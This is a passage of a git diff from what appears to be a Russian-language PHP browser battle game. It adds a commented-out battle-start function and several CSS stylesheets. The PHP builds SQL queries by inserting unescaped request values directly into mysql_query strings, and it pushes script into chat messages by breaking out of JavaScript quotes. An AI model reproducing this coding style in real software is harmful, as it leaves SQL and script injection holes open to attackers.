`timeout`, `type`, `status`, `t1`, `t2`, `to1`, `to2`, `blood`$rs, `bots`) VALUES ('{$z['coment']}', '".serialize($teams)."', '{$z['timeout']}', '{$z['type']}', '0', '".implode(";", $z['team1'])."', '".implode(";", $z['team2'])."', '".time()."', '".time()."', '".$z['blood']."'$rss, '".$z['bots']."')"); + $id = mysql_insert_id(); + $rr = ""; + + foreach($z['team1'] as $k => $v) { + if($k != 0) { $rr .= ", "; } + $rr .= nick3($v); + addchp('Внимание! Ваш бой начался!
    \'; top.frames[\'main\'].location=\'fbattle.php\'; var z = \' ', '{[]}'.nick7($v).'{[]}'); + } + + $rr .= "
    и "; + + foreach($z['team2'] as $k => $v) { + if($k != 0) { $rr .= ", "; } + $rr .= nick3($v); + addchp('Внимание! Ваш бой начался!
    \'; top.frames[\'main\'].location=\'fbattle.php\'; var z = \' ', '{[]}'.nick7($v).'{[]}'); + } + + $rr .= "
    "; + addlog($id, "Часы показывали ".date("Y.m.d H.i").", когда ".$rr." бросили вызов друг другу.
    "); + + foreach($z['team1'] as $k => $v) { + if($v < _BOTSEPARATOR_) { + mysql_query("UPDATE `users` SET `battle` = {$id}, `zayavka` = 0 WHERE `id` = {$v}"); + } else { + mysql_query("UPDATE `bots` SET `battle` = {$id} WHERE `id` = {$v}"); + } + } + + foreach($z['team2'] as $k => $v) { + if($v < _BOTSEPARATOR_) { + mysql_query("UPDATE `users` SET `battle` = {$id}, `zayavka` = 0 WHERE `id` = {$v}"); + } else { + mysql_query("UPDATE `bots` SET `battle` = {$id} WHERE `id` = {$v}"); + } + } +} +*/ \ No newline at end of file diff --git a/css/2/buttons.css b/css/2/buttons.css new file mode 100644 index 0000000..abe7a3a --- /dev/null +++ b/css/2/buttons.css @@ -0,0 +1,5 @@ +html,body { width:100%; height:100%; padding:0; margin:0; overflow:hidden;} .clear {clear:both;} .zbtn1l{ width:9px; height:18px; background: url(../tab.png) 0px 0px repeat-x;}.zbtn1r { width:9px; height:18px; background: url(../tab.png) -18px 0px repeat-x;}.zbtn1r2 { width:9px; height:18px; background: url(../tab.png) 18px 0px repeat-x;}.zbtn2l{ width:9px; height:18px; background: url(../tab.png) -36px 0px repeat-x;}.zbtn2r { width:9px; height:18px; background: url(../tab.png) -54px 0px repeat-x;}.zbtn2r2 { width:9px; height:18px; background: url(../tab.png) -90px 0px repeat-x;}.zbtn2r3 { width:9px; height:18px; background: url(../tab.png) 54px 0px repeat-x;}.zbtn1c{ background-color: #808080; border-top-width: 1px; border-bottom-width: 1px; border-top-style: solid; border-bottom-style: solid; border-top-color: #000000; border-bottom-color: #000000; color: #FFFFFF; cursor:default; padding-left:5px; padding-right:5px; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif;}.zbtn2c{ background-color: #D5D2C9; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #000000; color: #000000; cursor:default; padding-left:5px; padding-right:5px; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif;}body, td, ol, ul, li , p { font-size: 10pt; font-family: Verdana, Arial, Helvetica, Tahoma, sans-serif;}.seehp { color: #F4F4F4; line-height: 7px; font-size: 9px; font-weight: bold; padding-top: 1px; margin-left: 3px; padding-left:3px;}.senohp{ line-height: 7px; font-size: 9px;}.hp_none { background: url('../i/hp.jpg') 0px 0px repeat-x;}.hp_1 { background: url('../i/hp.jpg') 0px -11px repeat-x;}.hp_2 { background: url('../i/hp.jpg') 0px -21px repeat-x;}.hp_3 { background: url('../i/hp.jpg') 0px -31px repeat-x;}.hp_mp { background: url('../i/hp.jpg') 0px -41px repeat-x;}.seemp { color: #00FFFF; line-height: 7px; font-size: 9px; font-weight: bold; padding-top: 1px; margin-left: 3px; padding-left:3px;}.hpborder { border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #DADADA;}.text { font-size: 10pt; color: #000000; font-family: Verdana, Arial, Helvetica, Tahoma, sans-serif;}H3 { COLOR: #8f0000; FONT-FAMILY: Arial; FONT-SIZE: 12pt; FONT-WEIGHT: bold; TEXT-ALIGN: center;}H4 { COLOR: #8f0000; FONT-FAMILY: Arial; FONT-SIZE: 11pt; FONT-WEIGHT: bold; MARGIN-BOTTOM: 5px;}H5 { COLOR: #4f0000; FONT-FAMILY: Arial; FONT-SIZE: 11pt; FONT-WEIGHT: bold; MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px;}a,a:visited { text-decoration: none; FONT-WEIGHT: bold; color: #003388; }a:active { color: #6F0000}a:hover { color: #0066FF}.date { font-family: Courier; font-size: 8pt; text-decoration:none; font-weight:normal; color: #007000}.date1 { font-family: Courier; font-size: 8pt; text-decoration:none; font-weight:normal; color: #b00000;}.date2 { font-family: Courier; font-size: 8pt; text-decoration:none; font-weight:normal; color: #007000; background-color: #00FFAA}.date22 { font-family: Courier; font-size: 8pt; text-decoration:none; font-weight:normal; color: #007000; background-color: #00FFAA}.date3 { font-family: Courier; font-size: 8pt; text-decoration:underline; font-weight:normal; color: #007000; background-color: #00FFAA}.priem_hint{ position:absolute; background-color:#ffffcc; padding:2px; padding-left:4px; padding-right:4px; border:1px #666666 solid; z-index:1000;}.greaytext { color:grey; cursor:default; font-weight: bold; font-size: 10px; text-decoration: none;}.sysdate { font-family: Courier; font-size: 8pt; text-decoration:none; font-weight:normal; color: #B00000}.private { font-weight:bold; color: red; background-color: #FAE0E0}.klan { font-weight:bold; color: green; background-color: #99FFCC;}.number { font-size: 11pt; font-weight: bold; color: #6F0000}.dsc { color: #606060; font-weight:normal; }select,textarea,input { border: solid 1pt #B0B0B0; font-family: MS Sans Serif; font-size: 10px; color: #191970; MARGIN-BOTTOM: 2px; MARGIN-TOP: 1px;}.ahint {font-family: MS Sans Serif; font-size:8px; text-decoration:none; color:#666666;z-index: 99;}#hint2 {position:absolute; width:140; background-color:#FFF6DD; layer-background-color:#FFF6DD; visibility:hidden}#hint3 {position:absolute; width:240; background-color:#FFF6DD; layer-background-color:#FFF6DD; visibility:hidden}.hint { position:absolute; background-color:#ffffcc; padding:5px;}.hpborder { border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #DADADA;}#hint4 {position:absolute; width:240; visibility:hidden}.B1 { font-weight: bold; color: #6666CC}.B2 { font-weight: bold; color: #B06A00}.B3 { font-weight: bold; color: #269088}.B4 { font-weight: bold; color: #A0AF20}.B5 { font-weight: bold; color: #0F79D3}.B6 { font-weight: bold; color: #D85E23}.B7 { font-weight: bold; color: #5C832F}.B8 { font-weight: bold; color: #842B61}.B9 { font-weight: bold; color: navy}.Bs1 { font-size: 8pt; font-weight:bold; color: #6666CC}.Bs2 { font-weight:bold; color: #B06A00}img,table {border:0}.ismagic {background-color: #E0E0E2; BACKGROUND-IMAGE:url(blinkmagic1.gif)}.glow_pink {background-color: #E0E0E2; BACKGROUND-IMAGE:url(blinkmagic_pink.gif)}.glow_red {background-color: #E0E0E2; BACKGROUND-IMAGE:url(blinkmagic_red.gif)}.glow_green {background-color: #E0E0E2; BACKGROUND-IMAGE:url(blinkmagic_green.gif)}.glow_yellow {background-color: #E0E0E2; BACKGROUND-IMAGE:url(blinkmagic_yellow.gif)}.glow_dark {background-color: #E0E0E2; BACKGROUND-IMAGE:url(blinkmagic_dark.gif)}.glow_blue {background-color: #E0E0E2; BACKGROUND-IMAGE:url(blinkmagic_blue.gif)}.hpStyle1 { color: #F4F4F4; line-height: 7px; font-size: 9px; font-weight: bold; padding-top: 1px; margin-left: 3px;}.mpStyle1 { color: #00FFFF; line-height: 7px; font-size: 9px; font-weight: bold; padding-top: 1px; margin-left: 3px;}.ahint { FONT-SIZE: 8px; COLOR: #000080; FONT-FAMILY: MS Sans Serif; TEXT-DECORATION: none}#hint2 { VISIBILITY: hidden; WIDTH: 140px; POSITION: absolute; BACKGROUND-COLOR: #fff6dd; layer-background-color: #FFF6DD}#hint3 { VISIBILITY: hidden; WIDTH: 240px; POSITION: absolute; BACKGROUND-COLOR: #fff6dd; layer-background-color: #FFF6DD}.genwnew { background-color: #EBEBEB; border: 1px solid #C1C1C1;}.priem_style {margin:0px;width:40px;height:25px;}.priem_styleHover {margin:1px;width:38px;height:23px;}.priem_style2 {cursor:pointer;margin:0px;width:40px;height:25px;}.priem_styleHover2 {cursor:pointer;margin:1px;width:38px;height:23px;}.menutop, a.menutop:visited, a.menutop:active { font-weight: bold; font-size: 10px; text-decoration: none; color: #3B3936;}.btn { border: 1px double #9a9996; font-size: 12px; color: #dfdfdf; background-color:#504F4C;} + +.yesbtn { border: 1px solid #b0b0b0; background-color: #ece9d8; width:40px; color: #333333; text-decoration: none; font-size: 12px;} + +img { border:0px;}.iframeMain { width:inherit; height:inherit;}.windowsmf_css1 { position:absolute; background-color:#ddd5bf; -moz-user-select: none; -khtml-user-select: none; user-select: none; border:solid #D8D8D8 1px; FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif;}.windowsmf_css1_active2 { position:absolute; background-color:#F9F9F9; -moz-user-select: none; -khtml-user-select: none; user-select: none; border:solid #FDFDFD 1px;}.inpt1 { font-size: 8pt; border: 1px solid #CDC698;}.windowsmf_css1_title { background-color:#b1a993; color:#000000; padding-top:2px; padding-left:3px; padding-right:3px; padding-bottom:2px; FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif;}.usermenu { z-index:900; position: absolute; LEFT: 0px; TOP: 0px; background-color:#E5E5E5; border: 1px ridge #CCCCCC;}.usermenu1 { background-color:#E5E5E5; cursor:pointer; padding-left:3px; padding-right:3px; padding-top:1px; padding-bottom:1px;}.usermenu1:hover { background-color:#CECECE;}.windowsmf_css1_title_active { background-color:#C9C4B4; color:#1A1A1A; padding-top:2px; padding-left:3px; padding-right:3px; padding-bottom:2px; cursor:move;}.windowsmf_css1_title_active2 { background-color:#D7D3C8; color:#333333; padding-top:2px; padding-left:3px; padding-right:3px; padding-bottom:2px;}.windowsmf_css1_main_active2 { background-color:#FDFDFD; color:#FDFDFD; padding:10px;}.windowsmf_css1_main { padding:2px;}.btn_grey { border-top-width: 1px; background-color: #e5e5e5; background-image:url(line1.jpg); border-top-style: solid; border-top-color: #EFEFEF; padding-top:2px; padding-bottom:2px; padding-left:7px; padding-right:7px; border-right-width: 1px; border-left-width: 1px; border-right-style: solid; border-left-style: solid; border-right-color: #D8D8D8; border-left-color: #D8D8D8; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #D8D8D8; color: #494949; -moz-user-select: none; -khtml-user-select: none; user-select: none; text-decoration: none;}.btn_grey:hover { background-image:url(line2.jpg); color: #333333;}.btn_grey:active { background-color: #e5e5e5; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #EFEFEF; border-right-width: 1px; border-left-width: 1px; border-right-style: solid; border-left-style: solid; border-right-color: #D8D8D8; border-left-color: #D8D8D8; border-top-width: 1px; border-top-style: solid; border-top-color: #D8D8D8;} .mainframe { width:inherit; height:inherit;}.message { font-size: 10pt; font-family: Verdana, Arial, Helvetica, Tahoma, sans-serif;}.text { font-size: 10pt; color: #000000; font-family: Verdana, Arial, Helvetica, Tahoma, sans-serif;}H3 { COLOR: #8f0000; FONT-FAMILY: Arial; FONT-SIZE: 12pt; FONT-WEIGHT: bold; TEXT-ALIGN: center;}H4 { COLOR: #8f0000; FONT-FAMILY: Arial; FONT-SIZE: 11pt; FONT-WEIGHT: bold; MARGIN-BOTTOM: 5px;}H5 { COLOR: #4f0000; FONT-FAMILY: Arial; FONT-SIZE: 11pt; FONT-WEIGHT: bold; MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px;}img{ border:0;}.ttl_css{ position:absolute; padding-left:3px; padding-right:3px; padding-top:2px; padding-bottom:2px; background-color: #ffffcc; border: 1px solid #333333;}.topdiv{ position:absolute; width:100%; height:100%;}.iframeClass{ width:100%; height:100%; display: block;}.hint { position:absolute; background-color:#ffffcc; padding:5px;}.topusermenu{ z-index:1000; position:absolute; background-color:#d2d0d0; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #929090; border-right-color: #626060; border-bottom-color: #626060; border-left-color: #929090;}.inviseMen1{ filter: alpha(opacity=90); -moz-opacity: 0.90; -khtml-opacity: 0.90; opacity: 0.90; }.inviseMen2{ filter: alpha(opacity=60); -moz-opacity: 0.60; -khtml-opacity: 0.60; opacity: 0.60; }.inviseMen3{ filter: alpha(opacity=30); -moz-opacity: 0.30; -khtml-opacity: 0.30; opacity: 0.30; }.inviseMen4{ filter: alpha(opacity=10); -moz-opacity: 0.10; -khtml-opacity: 0.10; opacity: 0.10; }.topusermenuBtn{ text-decoration: none; FONT-WEIGHT: bold; color: #003388; padding-left:7px; padding-right:7px; cursor:pointer;}a,a:visited { text-decoration: none; FONT-WEIGHT: bold; color: #003388; }a:active { color: #6F0000;}a:hover { color: #0066FF;}.topusermenuBtn:hover{ background-color:#a2a2a2; color: #0066FF;}.effects { }.iframeMain { width:100%; height:100%; margin: 0px; padding:0px; border:0px;}.bDivcss { position:absolute; width:100%; height:100%; margin: 0px; padding:0px; border:0px;}.windowsmf_css1 { position:absolute; background-color:#ddd5bf; -moz-user-select: none; -khtml-user-select: none; user-select: none; border:solid #D8D8D8 1px; FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif;}.windowsmf_css1_active2 { position:absolute; background-color:#F9F9F9; -moz-user-select: none; -khtml-user-select: none; user-select: none; border:solid #FDFDFD 1px;}.inpt1 { font-size: 8pt; border: 1px solid #CDC698;}.inpt2 { font-size: 10pt; width:177px; border: 1px solid #CDC698;}.windowsmf_css1_title { background-color:#b1a993; color:#000000; padding-top:2px; padding-left:3px; padding-right:3px; padding-bottom:2px; FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif;}.usermenu { z-index:900; position: absolute; LEFT: 0px; TOP: 0px; background-color:#E5E5E5; border: 1px ridge #CCCCCC;}.usermenu1 { background-color:#E5E5E5; cursor:pointer; padding-left:3px; padding-right:3px; padding-top:1px; padding-bottom:1px;}.usermenu1:hover { background-color:#CECECE;}.windowsmf_css1_title_active { background-color:#C9C4B4; color:#1A1A1A; padding-top:2px; padding-left:3px; padding-right:3px; padding-bottom:2px; cursor:move;}.windowsmf_css1_title_active2 { background-color:#D7D3C8; color:#333333; padding-top:2px; padding-left:3px; padding-right:3px; padding-bottom:2px;}.windowsmf_css1_main_active2 { background-color:#FDFDFD; color:#FDFDFD; padding:10px;}.windowsmf_css1_main { padding:10px;}.btn_grey { border-top-width: 1px; background-color: #e5e5e5; background-image:url(line1.jpg); border-top-style: solid; border-top-color: #EFEFEF; padding-top:2px; padding-bottom:2px; padding-left:7px; padding-right:7px; border-right-width: 1px; border-left-width: 1px; border-right-style: solid; border-left-style: solid; border-right-color: #D8D8D8; border-left-color: #D8D8D8; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #D8D8D8; color: #494949; -moz-user-select: none; -khtml-user-select: none; user-select: none; text-decoration: none;}.btn_grey:hover { background-image:url(line2.jpg); color: #333333;}.btn_grey:active { background-color: #e5e5e5; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #EFEFEF; border-right-width: 1px; border-left-width: 1px; border-right-style: solid; border-left-style: solid; border-right-color: #D8D8D8; border-left-color: #D8D8D8; border-top-width: 1px; border-top-style: solid; border-top-color: #D8D8D8;} \ No newline at end of file diff --git a/css/2/chat.css b/css/2/chat.css new file mode 100644 index 0000000..fce448f --- /dev/null +++ b/css/2/chat.css @@ -0,0 +1 @@ +html { width:100%; height:100%; padding:0; margin:0;}body { width:100%; height:100%; padding:0; margin:0; overflow:hidden; /*background-image: url('../i/buttons/chat_bg.gif');*/}select,textarea,input { border: solid 1pt #B0B0B0; font-family: MS Sans Serif; font-size: 8px; color: #191970; MARGIN-BOTTOM: 2px; MARGIN-TOP: 1px;}img{ border:0px;}.text_msg { border: 1px solid #CCCCCC; font-size: 11px; color: #000000; font-family: Verdana, Arial, Helvetica, Tahoma, sans-serif;}.chatBtn1_1 { width:30px; height:30px; background: url('../i/buttons/chatBtn1.gif') 0px 0px repeat-x;; cursor:pointer;}.chatBtn1_2 { width:30px; height:30px; background: url('../i/buttons/chatBtn1.gif') 0px -30px repeat-x;; cursor:pointer;}.chatBtn2_1 { width:30px; height:30px; background: url('../i/buttons/chatBtn2.gif') 0px 0px repeat-x;; cursor:pointer;}.chatBtn2_2 { width:30px; height:30px; background: url('../i/buttons/chatBtn2.gif') 0px -30px repeat-x;; cursor:pointer;}.chatBtn4_1 { width:30px; height:30px; background: url('../i/buttons/chatBtn4.gif') 0px 0px repeat-x;; cursor:pointer;}.chatBtn4_2 { width:30px; height:30px; background: url('../i/buttons/chatBtn4.gif') 0px -30px repeat-x;; cursor:pointer;}.chatBtn5_1 { width:30px; height:30px; background: url('../i/buttons/chatBtn5.gif') 0px 0px repeat-x;; cursor:pointer;}.chatBtn5_2 { width:30px; height:30px; background: url('../i/buttons/chatBtn5.gif') 0px -30px repeat-x;; cursor:pointer;}.chatBtn5_3 { width:30px; height:30px; background: url('../i/buttons/chatBtn5.gif') 0px -59px repeat-x;; cursor:pointer;}.chatBtn6_1 { width:30px; height:30px; background: url('../i/buttons/chatBtn6.gif') 0px 0px repeat-x;; cursor:pointer;}.chatBtn6_2 { width:30px; height:30px; background: url('../i/buttons/chatBtn6.gif') 0px -30px repeat-x;; cursor:pointer;}.chatBtn7_1 { width:30px; height:30px; background: url('../i/buttons/chatBtn7.gif') 0px 0px repeat-x;; cursor:pointer;}.chatBtn7_2 { width:30px; height:30px; background: url('../i/buttons/chatBtn7.gif') 0px -30px repeat-x;; cursor:pointer;}.chatBtn7_3 { width:30px; height:30px; background: url('../i/buttons/chatBtn7.gif') 0px -60px repeat-x;; cursor:pointer;} \ No newline at end of file diff --git a/css/2/design2.css b/css/2/design2.css new file mode 100644 index 0000000..33f18d4 --- /dev/null +++ b/css/2/design2.css @@ -0,0 +1,104 @@ +html,body { width:100%; height:100%; margin:0px; overflow-x: hidden; overflow-y: hidden; font-size:10px;}select,textarea,input { border: solid 1pt #B0B0B0; font-family: MS Sans Serif; font-size: 8px; color: #191970; MARGIN-BOTTOM: 2px; MARGIN-TOP: 1px;}img{ border:0px;}.hint { position:absolute; background-color:#ffffcc; padding:5px;}.topusermenu{ font-family: Verdana, Helvetica, Arial, Tahoma, sans-serif; z-index:1000; position:absolute; background-color:#d2d0d0; font-size:13px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #929090; border-right-color: #626060; border-bottom-color: #626060; border-left-color: #929090;}.inviseMen1{ filter: alpha(opacity=90); -moz-opacity: 0.90; -khtml-opacity: 0.90; opacity: 0.90; }.inviseMen2{ filter: alpha(opacity=60); -moz-opacity: 0.60; -khtml-opacity: 0.60; opacity: 0.60; }.inviseMen3{ filter: alpha(opacity=30); -moz-opacity: 0.30; -khtml-opacity: 0.30; opacity: 0.30; }.inviseMen4{ filter: alpha(opacity=10); -moz-opacity: 0.10; -khtml-opacity: 0.10; opacity: 0.10; }.B1 { font-weight: bold; color: #6666CC}.B2 { font-weight: bold; color: #B06A00}.B3 { font-weight: bold; color: #269088}.B4 { font-weight: bold; color: #A0AF20}.B5 { font-weight: bold; color: #0F79D3}.B6 { font-weight: bold; color: #D85E23}/* цвета команд */ +.CSSteam { font-weight: bold; cursor:pointer; } +.CSSteam0 { font-weight: bold; cursor:pointer; } +.CSSteam1 { font-weight: bold; color: #6666CC; cursor:pointer; } +.CSSteam2 { font-weight: bold; color: #B06A00; cursor:pointer; } +.CSSteam3 { font-weight: bold; color: #269088; cursor:pointer; } +.CSSteam4 { font-weight: bold; color: #A0AF20; cursor:pointer; } +.CSSteam5 { font-weight: bold; color: #0F79D3; cursor:pointer; } +.CSSteam6 { font-weight: bold; color: #D85E23; cursor:pointer; } +.CSSteam7 { font-weight: bold; color: #5C832F; cursor:pointer; } +.CSSteam8 { font-weight: bold; color: #842B61; cursor:pointer; } +.CSSteam9 { font-weight: bold; color: navy; cursor:pointer; } +.CSSvs { font-weight: bold; } +.B7 { font-weight: bold; color: #5C832F}.B8 { font-weight: bold; color: #842B61}.B9 { font-weight: bold; color: navy}.Bs1 { font-size: 8pt; font-weight:bold; color: #6666CC}.Bs2 { font-weight:bold; color: #B06A00}.topusermenuBtn{ text-decoration: none; FONT-WEIGHT: bold; color: #003388; padding-left:7px; padding-right:7px; cursor:pointer;}.topusermenuBtn:hover{ background-color:#a2a2a2; color: #0066FF;}.zbtn1l{ width:9px; height:18px; background: url(../tab.png) 0px 0px repeat-x;}.zbtn1r { width:9px; height:18px; background: url(../tab.png) -18px 0px repeat-x;}.zbtn1r2 { width:9px; height:18px; background: url(../tab.png) 18px 0px repeat-x;}.zbtn2l{ width:9px; height:18px; background: url(../tab.png) -36px 0px repeat-x;}.zbtn2r { width:9px; height:18px; background: url(../tab.png) -54px 0px repeat-x;}.zbtn2r2 { width:9px; height:18px; background: url(../tab.png) -90px 0px repeat-x;}.zbtn2r3 { width:9px; height:18px; background: url(../tab.png) 54px 0px repeat-x;}.zbtn1c{ background-color: #808080; border-top-width: 1px; border-bottom-width: 1px; border-top-style: solid; border-bottom-style: solid; border-top-color: #000000; border-bottom-color: #000000; color: #FFFFFF; cursor:default; padding-left:5px; padding-right:5px; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif;}.zbtn2c{ background-color: #D5D2C9; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #000000; color: #000000; cursor:default; padding-left:5px; padding-right:5px; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif;}.text_msg { border: 1px solid #CCCCCC; font-size: 11px; color: #000000; font-family: Verdana, Arial, Helvetica, Tahoma, sans-serif;}.chatBtn1_1 { width:30px; height:30px; background: url('../i/buttons/chatBtn1.gif') 0px 0px repeat-x;; cursor:pointer;}.chatBtn1_2 { width:30px; height:30px; background: url('../i/buttons/chatBtn1.gif') 0px -30px repeat-x;; cursor:pointer;}.chatBtn2_1 { width:30px; height:30px; background: url('../i/buttons/chatBtn2.gif'); 0px 0px repeat-x; cursor:pointer;}.chatBtn2_2 { width:30px; height:30px; background: url('../i/buttons/chatBtn2.gif') 0px -30px repeat-x;; cursor:pointer;}.chatBtn4_1 { width:30px; height:30px; background: url('../i/buttons/chatBtn4.gif') 0px 0px repeat-x;; cursor:pointer;}.chatBtn4_2 { width:30px; height:30px; background: url('../i/buttons/chatBtn4.gif') 0px -30px repeat-x;; cursor:pointer;}.chatBtn5_1 { width:30px; height:30px; background: url('../i/buttons/chatBtn5.gif') 0px 0px repeat-x;; cursor:pointer;}.chatBtn5_2 { width:30px; height:30px; background: url('../i/buttons/chatBtn5.gif') 0px -30px repeat-x;; cursor:pointer;}.chatBtn5_3 { width:30px; height:30px; background: url('../i/buttons/chatBtn5.gif') 0px -59px repeat-x;; cursor:pointer;}.chatBtn6_1 { width:30px; height:30px; background: url('../i/buttons/chatBtn6.gif') 0px 0px repeat-x;; cursor:pointer;}.chatBtn6_2 { width:30px; height:30px; background: url('../i/buttons/chatBtn6.gif') 0px -30px repeat-x;; cursor:pointer;}.chatBtn7_1 { width:30px; height:30px; background: url('../i/buttons/chatBtn7.gif') 0px 0px repeat-x;; cursor:pointer;}.chatBtn7_2 { width:30px; height:30px; background: url('../i/buttons/chatBtn7.gif') 0px -30px repeat-x;; cursor:pointer;}.chatBtn7_3 { width:30px; height:30px; background: url('../i/buttons/chatBtn7.gif') 0px -60px repeat-x;; cursor:pointer;}.resLine { width:100%; height:2px; background-color:#CCCCCC; position:absolute; cursor:n-resize; left: 0px; top: 111%; -moz-user-select: none; -khtml-user-select: none; user-select: none; -webkit-user-select: none; /*border-bottom:#999999 solid 1px;*/} +.battle_hod_style { + border-bottom-width: 1px; + border-bottom-style: solid; + border-bottom-color: #AEAEAE; +} + +.dragLoginCss { +position:absolute; +z-index:10001; +background-color:#666666; +padding:7px; +cursor:pointer; +font-size:12px; +filter: alpha(opacity=90); -moz-opacity: 0.90; -khtml-opacity: 0.90; opacity: 0.90; +} + +.dragLoginCss1 { +position:absolute; +z-index:10001; +background-color:#666666; +padding:7px; +cursor:pointer; +font-size:12px; +filter: alpha(opacity=80); -moz-opacity: 0.80; -khtml-opacity: 0.80; opacity: 0.80; +} + +.dragLoginCss2 { +position:absolute; +z-index:10001; +background-color:#666666; +padding:7px; +cursor:pointer; +font-size:12px; +filter: alpha(opacity=70); -moz-opacity: 0.70; -khtml-opacity: 0.70; opacity: 0.70; +} + +.dragLoginCss3 { +position:absolute; +z-index:10001; +background-color:#666666; +padding:7px; +cursor:pointer; +font-size:12px; +filter: alpha(opacity=60); -moz-opacity: 0.60; -khtml-opacity: 0.60; opacity: 0.60; +} + +.dragLoginCss4 { +position:absolute; +z-index:10001; +background-color:#666666; +padding:7px; +cursor:pointer; +font-size:12px; +filter: alpha(opacity=50); -moz-opacity: 0.40; -khtml-opacity: 0.40; opacity: 0.40; +} + +.dragLoginCss5 { +position:absolute; +z-index:10001; +background-color:#666666; +padding:7px; +cursor:pointer; +font-size:12px; +filter: alpha(opacity=40); -moz-opacity: 0.20; -khtml-opacity: 0.20; opacity: 0.20; +} + +.dragLoginCss6 { +position:absolute; +z-index:10001; +background-color:#666666; +padding:7px; +cursor:pointer; +font-size:12px; +filter: alpha(opacity=10); -moz-opacity: 0.10; -khtml-opacity: 0.10; opacity: 0.10; +} + +body, td, ol, ul, li , p { + FONT-SIZE: 12px; + FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif; +} +.text { + FONT-SIZE: 12px; COLOR: #000000; FONT-WEIGHT: normal; + FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif; +} + +.resLine:hover { width:100%; height:2px; background-color:#A1A1A1; position:absolute; cursor:n-resize; left: 0px; top: 111%; -moz-user-select: none; -khtml-user-select: none; user-select: none; -webkit-user-select: none; }.backresLine { width:100%; height:2px; background-color:#CCCCCC; position:absolute; cursor:n-resize; left: 0px; top: 111%; -moz-user-select: none; -khtml-user-select: none; user-select: none; -webkit-user-select: none; /*border-bottom:#999999 solid 1px;*/}.resLine2 { width:3px; height:100%; background-color:#CCCCCC; position:absolute; cursor:e-resize; left: 111%; top: 0px; -moz-user-select: none; -khtml-user-select: none; user-select: none; -webkit-user-select: none; border-left:#999999 solid 1px;}.resLine2:hover { width:3px; height:100%; background-color:#A1A1A1; position:absolute; cursor:e-resize; left: 111%; top: 0px; border-left:#666666 1px solid; -moz-user-select: none; -khtml-user-select: none; user-select: none; -webkit-user-select: none; }.backresLine2 { width:3px; height:100%; background-color:#CCCCCC; position:absolute; cursor:e-resize; left: 111%; top: 0px; -moz-user-select: none; -khtml-user-select: none; user-select: none; -webkit-user-select: none; border-left:#999999 solid 1px;}.style1 { color: green; font-weight: bold;}.noselect { -moz-user-select: none; -khtml-user-select: none; user-select: none; -webkit-user-select: none;}.iframemain { width:100%; height:100%;}.globcss { width:100%; height:100%; position:absolute; -moz-user-select: none; -khtml-user-select: none; user-select: none; -webkit-user-select: none; background-image:url(http:///1x1.gif);}.line1x1 { border-bottom: 1px solid #797779; display:block;}.main_text { font-weight: bold; font-size: 10px; text-decoration: none; color:#f0f0f0; cursor:pointer; }.menutop, a.menutop:visited, a.menutop:active { font-weight: bold; font-size: 10px; text-decoration: none; color: #3B3936;}a.menutop:hover { color: #76726b;}.name { font-weight: bold; font-size: 12px;}.parametr_title { font-weight: bold; font-size: 11px; color: #777773;}.prname { padding-left: 4px; font-size: 11px; font-family: Arial, Helvetica, sans-serif;}.prvalue { font-size: 11px; font-family: Arial, Helvetica, sans-serif; }.btn { border: 1px double #9a9996; background-image: url(http://img.oldbk.org/i/beg_butt.gif); font-size: 7.5pt; color: #dfdfdf; background-color:#504F4C;}.mainmenu { color: #23292C; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: none; border-bottom-style: solid; border-left-style: solid; border-top-color: #969697; border-right-color: #969697; border-bottom-color: #000000; border-left-color: #969697; background-color: #BABABB; cursor:pointer;}.maptext { font-weight: bold; font-size: 12px; color: #000000; font-family: Arial, Helvetica, sans-serif;}.posit { border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #FFFFFF; border-right-color: #666666; border-bottom-color: #666666; border-left-color: #FFFFFF; padding: 2px;}td { font-size: 12px; font-family: Verdana, Arial, Helvetica, Tahoma, sans-serif;}.seehp { color: #F4F4F4; line-height: 7px; font-size: 9px; font-weight: bold; padding-top: 1px; margin-left: 3px; padding-left:3px;}.senohp{ line-height: 7px; font-size: 9px;}.hp_none { background: url('../i/hp.jpg') 0px 0px repeat-x;}.hp_1 { background: url('../i/hp.jpg') 0px -11px repeat-x;}.hp_2 { background: url('../i/hp.jpg') 0px -21px repeat-x;}.hp_3 { background: url('../i/hp.jpg') 0px -31px repeat-x;}.hp_mp { background: url('../i/hp.jpg') 0px -41px repeat-x;}.seemp { color: #00FFFF; line-height: 7px; font-size: 9px; font-weight: bold; padding-top: 1px; margin-left: 3px; padding-left:3px;}.hpborder { border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #DADADA;}.text { color: #000000; font-size: 12px; font-family: Verdana, Helvetica, Arial, Tahoma, sans-serif; }H3 { COLOR: #8f0000; FONT-FAMILY: Arial; FONT-SIZE: 12pt; FONT-WEIGHT: 